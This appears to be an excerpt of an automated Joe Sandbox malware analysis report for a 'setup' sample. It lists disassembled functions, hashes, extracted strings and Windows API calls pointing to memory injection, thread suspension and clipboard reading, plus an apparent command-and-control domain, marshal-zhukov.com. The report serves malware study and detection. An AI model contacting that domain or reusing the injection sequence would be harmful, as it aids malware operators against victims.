Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID:
String ID: 6)./$>38}$`al$kbcR$marshal-zhukov.com$mp0c$nd[b$sy-9$vhSb
API String ID: 0-4020411509
Opcode ID: d24a3bfce0dbc9f2089d7ecaee54f4dc368d0c7520d375a8bc82cdf5100d3c40
Instruction ID: 32d0c62a9acd878aba8b301b535374e1904205ecc69981b187f93fce3809dd87
Opcode Fuzzy Hash: d24a3bfce0dbc9f2089d7ecaee54f4dc368d0c7520d375a8bc82cdf5100d3c40
Instruction Fuzzy Hash: 08A1BDB15883C28AD735CF25C5987EBBBE1EFD6308F188A6CC4D94B252E7384505CB96

Function 023629DA Relevance: 11.2, APIs: 7, Instructions: 730memorynativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 02362A73
NtMapViewOfSection.NTDLL(?,00000000), ref: 02362B1B
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02362E8F
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 02362F44
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 02362F61
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 02363004
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 02363037

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$View$AllocCreate
String ID:
API String ID: 2664363762-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: 38840c22a0a29c3eafe468b286e489286447dc8822e3b94b81d62c95bad810ba
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: F5428871608341AFDB24CF24C888B7BBBE9EF88B14F05896DF9859B255D730E845CB52

Function 02C99090 Relevance: 7.6, APIs: 5, Instructions: 122
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 02C990B2
GetCurrentThreadId.KERNEL32 ref: 02C990C5
GetCurrentProcessId.KERNEL32 ref: 02C990CD
GetForegroundWindow.USER32 ref: 02C991B6
ExitProcess.KERNEL32 ref: 02C9921D

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 4c49eb012d2be1606766f53b11607b439e30f4c152bd78ea8e870bc1dfa8ef76
Instruction ID: 7e5d478f38702253ba4973220b1c3f181fae1a9c6e19ea8ecf5ae0e949d281de
Opcode Fuzzy Hash: 4c49eb012d2be1606766f53b11607b439e30f4c152bd78ea8e870bc1dfa8ef76
Instruction Fuzzy Hash: 94314233E412180BDB68AAB58D4E35BB19B6BC8650F4E853D9948DB3E4FD788C0946D0

Function 02310D2A Relevance: 7.6, APIs: 5, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,02310870,?,00000001,?,81EC8B55,000000FF), ref: 02310D68
Thread32First.KERNEL32(00000000,0000001C), ref: 02310D94
Wow64SuspendThread.KERNEL32(00000000), ref: 02310DE7
CloseHandle.KERNEL32(00000000), ref: 02310E11
Thread32Next.KERNEL32(00000000,0000001C), ref: 02310E29

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID: Thread32$CloseCreateFirstHandleNextSnapshotSuspendThreadToolhelp32Wow64
String ID:
API String ID: 915977163-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: 3a1d0a821e1bb369332b17cc75daf98b2636b63ba5a739f4dbe8139bb3f44824
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: 4241EE75A00108AFDB1CDF69C490FADB7B6EF88300F10C169EA159B794DB74AE45CB94

Function 02310BDA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 02310CA6

Strings

,, xrefs: 02310CF2

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: 3693f11e41ffd320160cc52adf745cbd529fde09aa915da19161f7d0db9bdd96
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: D841B474A00209EFDB08CF98C994BAEB7B1FF88314F208198D9156B795C771AE85CF94

Function 02CD1E50 Relevance: 2.6, Strings: 2, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pt1, xrefs: 02CD1FB0
@, xrefs: 02CD1F12

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: InitializeThunk
String ID: @$Pt1
API String ID: 2994545307-1130223541
Opcode ID: d8c3c371a405fef946c8c20fe30a73089c0072f792c602fb5aea90431d955fc4
Instruction ID: 8def4c9728912c53fc7a724ff4d60e7849ae21caddf405c253779ef95ff976e5
Opcode Fuzzy Hash: d8c3c371a405fef946c8c20fe30a73089c0072f792c602fb5aea90431d955fc4
Instruction Fuzzy Hash: 26412971A083008BD714DFA4D89576BB7E2FFC4318F1C862CE6898B3A0E7B58904D796

Function 0231061A Relevance: 1.9, APIs: 1, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 023108BD

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 304a6869fe69422f8237a726e1bacb832305fc61347209f6902880f17138c828
Instruction ID: 984ad21fde04eb1319e2d3dbaa4d182111f306eb7c4e81ee744aa998697e5915
Opcode Fuzzy Hash: 304a6869fe69422f8237a726e1bacb832305fc61347209f6902880f17138c828
Instruction Fuzzy Hash: 9212C571D00219DFDB18CF98C990BADBBB2FF48304F2481A9D915AB395D7356A81CF54

Function 02CCF860 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(02CCD581,?,00000010,00000005,00000000,?,00000000), ref: 02CCF88E

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 02363658 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 023636EA

Strings

.dll, xrefs: 0236368F

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: b4194aaf2d92d877b27934c93bfc5614e227e21d7f4b28393e70cd2888e0b1e2
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: C6210A756042858FD721CF6CD888B797BECEF05624F1881EDD8028BB45D770E845CB90

Function 023622AA Relevance: 1.6, APIs: 1, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02362324

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: aa9f6f7d75bd4676e75cdb352e892f6db8e981b74ba1ad099e0df5978ed3c796
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: 9BB10171600B02ABDB329E60CC98BBBF7ADFF05314F158529EE8992158E731E550DFA1

Function 02CCD260 Relevance: 1.6, APIs: 1, Instructions: 63
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 02CCD2F7

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ee4e22ad547e9e8c6e45cc15f79a63f930a4ef52a7d5dd36041aa9dd81ff1bce
Instruction ID: 8cedcd968067850b7b55037f62f87085e33d58e991587a18410787047dadb11d
Opcode Fuzzy Hash: ee4e22ad547e9e8c6e45cc15f79a63f930a4ef52a7d5dd36041aa9dd81ff1bce
Instruction Fuzzy Hash: 1E016433B983240BC30066ADECE4A5ABB459FC2268F2A0A3CE9F4672C0D1651F01C292

Function 02C9CF4E Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 02C9CF60

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: c2e70a3a72ddf8af8736443e935f57bfae188cf8ab59f838ea626a117abd0eaf
Instruction ID: 5ac4b420c134fd2aba2d41217ead179ea486d44e93a8593aad3be4fcc1cc33ff
Opcode Fuzzy Hash: c2e70a3a72ddf8af8736443e935f57bfae188cf8ab59f838ea626a117abd0eaf
Instruction Fuzzy Hash: E3D0C930BD5351BBF6645A48AC17F6032215306F62FB40B0CF322FE2C0C9E07121961C

Function 02C9E649 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 02C9E654

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: 1101288f6a3e29429a49411ee99cd39ead9164f975f1baba1fddbcf08401134c
Instruction ID: dfd6c3f39a7d8c9d9e574991bceb55209d47266d03acb631fb9874e90e3d18f8
Opcode Fuzzy Hash: 1101288f6a3e29429a49411ee99cd39ead9164f975f1baba1fddbcf08401134c
Instruction Fuzzy Hash: D7C02BB7F060049ACF0023B07C0C0DEB329DF941357000673C50BC0002E9328138C9E3

Non-executed Functions

Function 023200FB Relevance: 10.3, Strings: 8, Instructions: 266COMMON

Download Yara Rule

Strings

mp0c, xrefs: 023201F8
`al, xrefs: 02320117
6)./, xrefs: 0232043D
nd[b, xrefs: 023201D7
sy-9, xrefs: 02320203
vhSb, xrefs: 023201E2
>38}, xrefs: 0232020E
kbcR, xrefs: 023201ED

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: 6)./$>38}$`al$kbcR$mp0c$nd[b$sy-9$vhSb
API String ID: 0-910388019
Opcode ID: 4c7fd3afb7d9f44762b82f7f232fb13e628c7db85394022a1361d99d15f967a6
Instruction ID: 8e9af815b5dda87d3d2e6630a3e5f243d3edb35e2f29a736e98a0c10b17b9af9
Opcode Fuzzy Hash: 4c7fd3afb7d9f44762b82f7f232fb13e628c7db85394022a1361d99d15f967a6
Instruction Fuzzy Hash: 11A1BF7158C3D28AD339CF25C5947EBBBE1EF96308F18896CC4D94B652D7384409CB96

Function 02332857 Relevance: 9.6, Strings: 7, Instructions: 895COMMON

Download Yara Rule

Strings

GEWH, xrefs: 02332BA9
u$ &, xrefs: 02332C44
QiYY, xrefs: 02332B94
&!),, xrefs: 02332B7F
104>, xrefs: 02332F4A
,<>:, xrefs: 02332F51
EBMy, xrefs: 02332BB0

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: &!),$,<>:$104>$EBMy$GEWH$QiYY$u$ &
API String ID: 0-543295040
Opcode ID: d382b402118490204b27027eaa85550127eb08f738d02af9f342553387aff609
Instruction ID: e78741a75365d154d9961df8b93f0703f4f9ffdebeb1dd90d71ea9a3bc0b6d8b
Opcode Fuzzy Hash: d382b402118490204b27027eaa85550127eb08f738d02af9f342553387aff609
Instruction Fuzzy Hash: 3B62E270504B418FC736CF29C890767BBE2BF95314B188A6DC8EA8BB92D775E506CB50

Function 02CB0DC0 Relevance: 9.6, Strings: 7, Instructions: 895COMMON

Download Yara Rule

Strings

EBMy, xrefs: 02CB1119
GEWH, xrefs: 02CB1112
,<>:, xrefs: 02CB14BA
104>, xrefs: 02CB14B3
QiYY, xrefs: 02CB10FD
u$ &, xrefs: 02CB11AD
&!),, xrefs: 02CB10E8

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID:
String ID: &!),$,<>:$104>$EBMy$GEWH$QiYY$u$ &
API String ID: 0-543295040
Opcode ID: 536cd02d061ffbd3f186da4439c0dd499bc27aef63d927165bb205392051b667
Instruction ID: 41fe0614bf1cd8787e595b632e04a3bb3f1589b8cb6f9912d755711c63125656
Opcode Fuzzy Hash: 536cd02d061ffbd3f186da4439c0dd499bc27aef63d927165bb205392051b667
Instruction Fuzzy Hash: 1262D270504B418FC736CF29C4A07A7BBE2BF95214F188A6DC4EA8BB92D771E506CB50

Function 02CC5990 Relevance: 9.1, APIs: 6, Instructions: 129clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 02CC59B2
GetWindowLongW.USER32 ref: 02CC59DD
GetClipboardData.USER32 ref: 02CC59ED
GlobalLock.KERNEL32 ref: 02CC5A0A
GlobalUnlock.KERNEL32 ref: 02CC5B1A
CloseClipboard.USER32 ref: 02CC5B20

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 2832541153-0
Opcode ID: 7149d2e77fa6df45551ef6780c4d784b8d1e5be25e4598aedc876efa4b8ee5d9
Instruction ID: 2456862fb56a0ce8a99899964cd47025412b9c622874dacd22cb0d3b7e800deb
Opcode Fuzzy Hash: 7149d2e77fa6df45551ef6780c4d784b8d1e5be25e4598aedc876efa4b8ee5d9
Instruction Fuzzy Hash: 7641E6B19087928FD711AB7CD84935EBFA0AB02250F44876CD8E59B3C1D374A565CBE3

Function 0234C467 Relevance: 6.9, Strings: 5, Instructions: 641COMMON

Download Yara Rule

Strings

{'K!, xrefs: 0234C4CC
\, xrefs: 0234C506
WC, xrefs: 0234C6BE
C, xrefs: 0234C4FB
ZQ, xrefs: 0234C6AE

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: C$WC$ZQ$\${'K!
API String ID: 0-2961542419
Opcode ID: 28de73b084ee6964c8a2984c3b18ce58604930379f6a574f3a90845fc0a791eb
Instruction ID: 6009e2747d1dd387bd82fea4a2fece11211f6d64c56cc8234fab966cd05a3f1b
Opcode Fuzzy Hash: 28de73b084ee6964c8a2984c3b18ce58604930379f6a574f3a90845fc0a791eb
Instruction Fuzzy Hash: 4B2211B2A093019FD320CF24CC45B5BBBE6EF85714F049A6DE8959B291DB74E901CB92

Function 02C9D8F6 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 360COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 02C9D90B

Strings

ox, xrefs: 02C9DCD0
marshal-zhukov.com, xrefs: 02C9DDA0
", xrefs: 02C9D920

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: Uninitialize
String ID: "$marshal-zhukov.com$ox
API String ID: 3861434553-3420400191
Opcode ID: ff0cafcee37741ce85c6e1ae6df833f490b18b1640193504f96a9b20a21a558e
Instruction ID: 46679af07a0bbb4cfa7b48a43908475ee5a21d201d6c0003a9061f7915403336
Opcode Fuzzy Hash: ff0cafcee37741ce85c6e1ae6df833f490b18b1640193504f96a9b20a21a558e
Instruction Fuzzy Hash: 4AB1FF7154D3C28BD7308F2985947ABFFE1AFD2308F188A6CD4DA9B282D7784505CB92

Function 02315E67 Relevance: 4.1, Strings: 3, Instructions: 396COMMON

Download Yara Rule

Strings

IEND, xrefs: 023162C4
), xrefs: 02315EED
), xrefs: 02315EE3

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: 223688254f2c7c9a79171587320f622e5874d75aa70a5c74704aaf17b5fe326e
Instruction ID: 3f19e646a7d331bf2845da4643341461f9225af719e9ab4ef0bc86692a1767c4
Opcode Fuzzy Hash: 223688254f2c7c9a79171587320f622e5874d75aa70a5c74704aaf17b5fe326e
Instruction Fuzzy Hash: 4AE1D0B1A087419FD318CF68C88572ABBE4FF94304F04492DE9999B381D775E919CF82

Function 02C943D0 Relevance: 4.1, Strings: 3, Instructions: 396COMMON

Download Yara Rule

Strings

IEND, xrefs: 02C9482D
), xrefs: 02C9444C
), xrefs: 02C94456

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: f34fbd57560f771a48de573339e2ae575ff52ba83980b02c19d1019d0dd8b5fc
Instruction ID: 1805d35718dc39474c7d32bc5539afbe90a08a39777a80739cedba176f75a115
Opcode Fuzzy Hash: f34fbd57560f771a48de573339e2ae575ff52ba83980b02c19d1019d0dd8b5fc
Instruction Fuzzy Hash: B9E1E3B1A087419FD724CF28C88871ABBE0FF85318F044A2DE5999B381D775E915CBD6

Function 0231F38D Relevance: 2.9, Strings: 2, Instructions: 360COMMON

Download Yara Rule

Strings

", xrefs: 0231F3B7
ox, xrefs: 0231F767

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: "$ox
API String ID: 0-1383007088
Opcode ID: a333c7c6a7aa604263339c36b1af7e0d0a6a301a880a58a5c674507749d61049
Instruction ID: 865379a7892de98d511244cbe7f5a0ded7e59d5e140e8fdf14b95b21b6c6dc92
Opcode Fuzzy Hash: a333c7c6a7aa604263339c36b1af7e0d0a6a301a880a58a5c674507749d61049
Instruction Fuzzy Hash: 43B1EE7154C3C28BD3348F2988947ABFFE1AFD2308F18896DD4D99B692D7784406CB92

Function 02CAACCD Relevance: 2.8, Strings: 2, Instructions: 274COMMON

Download Yara Rule

Strings

`b]}, xrefs: 02CAAFA0
K7, xrefs: 02CAAD36

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID: InitializeThunk
String ID: K7$`b]}
API String ID: 2994545307-3709244666
Opcode ID: 701467bb9a9c259b9a0ffd701849d79a8b92eb38735c2cea912026df69daaccb
Instruction ID: e752d2fe66375d237523342e517bfcad78347e91dce8a443052fa2ca55fe3fd6
Opcode Fuzzy Hash: 701467bb9a9c259b9a0ffd701849d79a8b92eb38735c2cea912026df69daaccb
Instruction Fuzzy Hash: A39121716017428FD339CF19C890B76B7F7EBC9309F248A5CC1824B666CB32A852CB91

Function 0233FE17 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

r#b@, xrefs: 023401BD
4!!, xrefs: 0234002D

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: 4!!$r#b@
API String ID: 0-972125907
Opcode ID: 56972e28f40e5a6022c95bfe4f552d7a6657040be5f6dedb1f33883f7f84c9b8
Instruction ID: ba1911b22b16f010102543714a94f81dd2016194627f10e2cd6a69cf5f5c01b8
Opcode Fuzzy Hash: 56972e28f40e5a6022c95bfe4f552d7a6657040be5f6dedb1f33883f7f84c9b8
Instruction Fuzzy Hash: E591E3B8645B818BE329CF39C5517A3BBE2AF92304F1889ACC1EB4B745D7747106CB15

Function 02CBE380 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

4!!, xrefs: 02CBE596
r#b@, xrefs: 02CBE726

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID:
String ID: 4!!$r#b@
API String ID: 0-972125907
Opcode ID: 1a817bad4e5792361389560d064844f6f7139e3b48441eda4917a6802afbec93
Instruction ID: 60b280845ed3a03073b3c7aebe609bbdc61b80a64210c4610159913a0ae1e1bf
Opcode Fuzzy Hash: 1a817bad4e5792361389560d064844f6f7139e3b48441eda4917a6802afbec93
Instruction Fuzzy Hash: 6E91D1B4645B818BE326CF39C5617E3BBE2AF92304F18896CC0EB8B746D774A105CB55

Function 0234F377 Relevance: 2.7, Strings: 2, Instructions: 208COMMON

Download Yara Rule

Strings

KJUT, xrefs: 0234F409
5|iL, xrefs: 0234F577

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: 5|iL$KJUT
API String ID: 0-2977412319
Opcode ID: 9ee0dec53038c97450c6d57242830d535bd493a961e16580529b489184953296
Instruction ID: b8c5d8c902081d65ea502ebec91ae4d182eff0d455bff6fc348dbbdc7049ffe6
Opcode Fuzzy Hash: 9ee0dec53038c97450c6d57242830d535bd493a961e16580529b489184953296
Instruction Fuzzy Hash: B8511536F083519BC720CE299C8076BF7D2ABC6724F1D85A9D8949B765DB31EC048BC6

Function 02CCD8E0 Relevance: 2.7, Strings: 2, Instructions: 208COMMON

Download Yara Rule

Strings

5|iL, xrefs: 02CCDAE0
KJUT, xrefs: 02CCD972

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c91000_setup.jbxd

Similarity

API ID:
String ID: 5|iL$KJUT
API String ID: 0-2977412319
Opcode ID: d7cb7e384a7701090bb3f73c02db01e3985b746a63142e8898d89cd336d930d0
Instruction ID: 2484dcbb5ba0b7e92d2de6f5c4973d6798554c5bf746dc8ce20e30daab83789e
Opcode Fuzzy Hash: d7cb7e384a7701090bb3f73c02db01e3985b746a63142e8898d89cd336d930d0
Instruction Fuzzy Hash: 31513636E483149BC720CE29C88036BF793ABC6624F29857DD8859B359D731DC45C7D2

Function 023538E7 Relevance: 2.6, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

Pt1, xrefs: 02353A47
@, xrefs: 023539A9

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: @$Pt1
API String ID: 0-1130223541
Opcode ID: 9ec81e538ee6ea53954f4a1470ac7f8b2c40dd7a039c502159081bc2365d14a9
Instruction ID: b74aae7a8d8179e53aee700a9b77b778598549b36e4fcab2a0ac251bd0e93ca3
Opcode Fuzzy Hash: 9ec81e538ee6ea53954f4a1470ac7f8b2c40dd7a039c502159081bc2365d14a9
Instruction Fuzzy Hash: 1D4149B1A083118BD724DFA4CC95B6BB7E1FFC4358F18856CE9C88B2A1E7758904CB56

Function 0231CDA7 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

2, xrefs: 0231D1AC

Memory Dump Source

Source File: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Offset: 02310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2310000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 93151d68a72c6e19deebb78d22b0e4a16762d88605605dccceb459bb48caed2b
Instruction ID: d76e4336e70b8cb61b8daa6317d974f0b5e7205ef45fabc0befda54a7cd22cfc
Opcode Fuzzy Hash: 93151d68a72c6e19deebb78d22b0e4a16762d88605605dccceb459bb48caed2b
Instruction Fuzzy Hash: 7DC1147164C3948BD728CF25C4A036BFBE2AFD2714F18892DE8D65B345DB758906CB82

Function 02C9B310 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

2, xrefs: 02C9B715

Memory Dump Source

Source File: 00000005.00000002.2786989040.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C91000, based on PE: false

